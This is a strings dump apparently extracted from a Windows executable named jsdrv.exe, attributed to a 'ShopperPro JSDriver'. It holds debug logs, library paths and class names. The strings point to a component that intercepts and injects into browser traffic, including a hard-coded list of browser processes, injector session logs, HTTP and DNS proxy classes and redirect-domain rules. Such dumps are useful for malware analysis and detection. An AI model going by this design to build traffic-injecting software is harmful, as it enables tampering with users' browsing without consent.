[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Content-Type: multipart/form-data; boundary=%s

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

HttpEndRequestA

HttpSendRequestExA

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVCHttpAsync@@

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttp@@

2.0.7791.1463

%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

8&8,8/949{9

0F0X0

>%?/?^?}?

2(2-222x2}2

>5>:>?> ?%?

7#777=7\7

6f6F6X6

>2?8???}?

< <$<(<,<0<4<~<

5#565;5|5

:,:0:4:8:<:

8-8}8

0-0A0U0i0}0

= >%>[?`?

1 20252:2

:*:8:&;5;|;

?/?4?9?|?

6 6$6(6,6

=,>0>4>8><>@>

*0004080<0

&0 000|0

99S9^9

="=(=5=:=@=

91969;9{9

9(9[9`93:

3?3T3f3n3

7 7$7(7,7

= =$=(=,=0=4=

1 1$1(1,1014181<1

2 2$2(2,2

; ;$;(;,;0;

4 4$4(4,4044484<4@4

; ;$;(;,;0;4;8;<;@;

9 9$9(9,9094989<9@9

,<0<4<8<

8 8$8(8,8084888<8$>(>

5 5$5(5,5054585<5

? ?$?(?,?0?4?8?

9$9,989\9|9

3(303<3`3

;,<8<\<|<

>$>,>8>\>|>

;$;,;4;@;`;

=(=0=<=`=

: ;,;4;`;

1$1<1@1`1

3 3$3<3@3\3`3|3

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator

]std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator --

std::vector<struct hostent *,class std::allocator<struct hostent *> >::operator []

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator --

